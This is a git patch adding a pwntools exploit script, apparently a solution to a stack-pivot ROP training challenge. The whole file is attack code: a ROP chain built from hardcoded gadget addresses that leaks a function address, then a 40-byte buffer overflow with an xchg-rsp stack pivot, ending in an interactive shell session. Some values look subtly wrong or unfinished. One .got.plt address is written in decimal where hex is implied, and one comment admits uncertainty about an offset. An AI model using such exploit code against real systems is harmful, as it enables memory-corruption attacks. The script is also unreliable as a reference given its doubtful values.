From a6439b8ec3713c3ed3bd4027dc0d11369deddf03 Mon Sep 17 00:00:00 2001
From: Brett Weiland <techcrazybsw@gmail.com>
Date: Fri, 18 Dec 2020 19:06:39 -0600
Subject: 	new file:   x86_64/pivot/exploit.py 	new file:  
 x86_64/pivot/gadgets

---
 x86_64/pivot/exploit.py | 43 +++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 43 insertions(+)
 create mode 100755 x86_64/pivot/exploit.py

(limited to 'x86_64/pivot/exploit.py')

diff --git a/x86_64/pivot/exploit.py b/x86_64/pivot/exploit.py
new file mode 100755
index 0000000..a46b0cd
--- /dev/null
+++ b/x86_64/pivot/exploit.py
@@ -0,0 +1,43 @@
+#!/usr/bin/env python3
+from pwn import *
+from os import getcwd
+import re
+
+#context.terminal = ['kitty', 'sh', '-c']
+print(context.terminal)
+
+prog = gdb.debug('./pivot', gdbscript='''
+        b pwnme
+        b *0x4009a5
+'''
+
+)
+
+payload = b''
+payload += p64(0x0000000000400720)      # foothold@plt
+
+payload += p64(0x4009bb)                # pop rax
+payload += p64(601040)                  # foothold@plt's .got.plt entry
+
+payload += p64(0x00000000004007c8)      # pop rbp
+payload += p64(279)                     # should be the offset of pwnem from foothold's .got.plt 
+
+payload += p64(0x4009c4)                # adds the two
+
+payload += p64(0x00000000004007c1)      # jmp rax
+prog.sendline(payload)
+pivit_location = int(re.findall('0x[0-9a-z]{12}', prog.readregexS('0x[0-9a-z]{12}'))[0], 16)
+print(hex(pivit_location))
+
+payload = b''
+#buffer overflow
+for c in range(40):
+    payload += b'a'
+
+payload += p64(0x4009bb)                # pop rax
+payload += p64(pivit_location)          # pivot location
+payload += p64(0x4009bd)                # xchg rsp,rax
+
+prog.sendlineafter('Now please send your stack smash', payload)
+prog.interactive()
+
-- 
cgit v1.2.3